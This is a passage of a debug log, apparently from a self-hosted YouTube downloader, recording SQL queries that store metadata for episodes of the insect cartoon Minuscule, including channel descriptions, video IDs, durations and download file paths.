FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:49.730 [debug] QUERY OK source="media_items" db=0.7ms idle=98.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-07-19 15:00:05Z], 5] 22:15:49.733 [debug] QUERY OK source="media_items" db=1.7ms idle=99.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join Minuscule on Facebook and Instagram:\nFacebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE: \nhttp://bit.ly/1cPzvQP\n\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bananes / Bananas (Season 1)", "68b15bb8-4e92-4e4a-bd43-3feb079c07c6", "_NY3vidqHpo", 443, false, 5, "https://www.youtube.com/watch?v=_NY3vidqHpo", 163, "/downloads/Miniscule Season 2/2017-07-19 Minuscule - Bananes ⧸ Bananas (Season 1)/Minuscule - Bananes ⧸ Bananas (Season 1) [_NY3vidqHpo].mp4", false, false, false, [], 1, ~U[2017-07-19 15:00:05Z], ~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z], "Join Minuscule on Facebook and Instagram:\nFacebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE: \nhttp://bit.ly/1cPzvQP\n\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bananes / Bananas (Season 1)", "_NY3vidqHpo", 443, false, 5, "https://www.youtube.com/watch?v=_NY3vidqHpo", "/downloads/Miniscule Season 2/2017-07-19 Minuscule - Bananes ⧸ Bananas (Season 1)/Minuscule - Bananes ⧸ Bananas (Season 1) [_NY3vidqHpo].mp4", false, ~U[2017-07-19 15:00:05Z]] 22:15:49.734 [debug] QUERY OK source="sources" db=0.4ms idle=101.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:49.735 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-08-30 14:14:11Z], 5] 22:15:49.738 [debug] QUERY OK source="media_items" db=2.2ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Go blue go! / Allez les bleus! (Season 2)", "3311bdaf-4a49-41fe-9d64-9c86a2feda0e", "5Yx-ZghdZJ0", 290, false, 5, "https://www.youtube.com/watch?v=5Yx-ZghdZJ0", 169, "/downloads/Miniscule Season 2/2016-08-30 Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2)/Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2) [5Yx-ZghdZJ0].mp4", false, false, false, [], 1, ~U[2016-08-30 14:14:11Z], ~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Go blue go! / Allez les bleus! (Season 2)", "5Yx-ZghdZJ0", 290, false, 5, "https://www.youtube.com/watch?v=5Yx-ZghdZJ0", "/downloads/Miniscule Season 2/2016-08-30 Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2)/Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2) [5Yx-ZghdZJ0].mp4", false, ~U[2016-08-30 14:14:11Z]] 22:15:49.739 [debug] QUERY OK source="sources" db=0.2ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:49.740 [debug] QUERY OK source="media_items" db=0.6ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-08-19 08:58:34Z], 5] 22:15:49.744 [debug] QUERY OK source="media_items" db=2.2ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Romeo & Antiet / Roméo & fourmi (Season 2)", "c826e36d-45b2-49cb-ab99-37278b04b0ac", "PK2A3ZK5ys0", 759, false, 5, "https://www.youtube.com/watch?v=PK2A3ZK5ys0", 172, "/downloads/Miniscule Season 2/2016-08-19 Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2)/Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2) [PK2A3ZK5ys0].mkv", false, false, false, [], 1, ~U[2016-08-19 08:58:34Z], ~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Romeo & Antiet / Roméo & fourmi (Season 2)", "PK2A3ZK5ys0", 759, false, 5, "https://www.youtube.com/watch?v=PK2A3ZK5ys0", "/downloads/Miniscule Season 2/2016-08-19 Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2)/Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2) [PK2A3ZK5ys0].mkv", false, ~U[2016-08-19 08:58:34Z]] 22:15:49.745 [debug] QUERY OK source="sources" db=0.5ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:49.747 [debug] QUERY OK source="media_items" db=0.7ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-03-21 09:49:02Z], 5] 22:15:49.750 [debug] QUERY OK source="media_items" db=2.4ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Love Apple / Pomme d'Amour (saison 2)", "48d9ae3d-ba4c-468c-8e2a-0785b66cafbe", "4XCsQv48wfg", 296, false, 5, "https://www.youtube.com/watch?v=4XCsQv48wfg", 180, "/downloads/Miniscule Season 2/2016-03-21 Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2)/Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2) [4XCsQv48wfg].mp4", false, false, false, [], 1, ~U[2016-03-21 09:49:02Z], ~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Love Apple / Pomme d'Amour (saison 2)", "4XCsQv48wfg", 296, false, 5, "https://www.youtube.com/watch?v=4XCsQv48wfg", "/downloads/Miniscule Season 2/2016-03-21 Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2)/Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2) [4XCsQv48wfg].mp4", false, ~U[2016-03-21 09:49:02Z]] 22:15:49.751 [debug] QUERY OK source="sources" db=0.2ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:49.752 [debug] QUERY OK source="media_items" db=0.7ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-02-12 16:10:51Z], 5] 22:15:49.756 [debug] QUERY OK source="media_items" db=2.5ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Valentine's Day / La Saint Valentin (Season 2)", "b2fbe72c-529c-4248-8a9b-b5a3f0438490", "diIkW1_XW4A", 273, false, 5, "https://www.youtube.com/watch?v=diIkW1_XW4A", 185, "/downloads/Miniscule Season 2/2015-02-12 Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2)/Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2) [diIkW1_XW4A].mp4", false, false, false, [], 1, ~U[2015-02-12 16:10:51Z], ~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 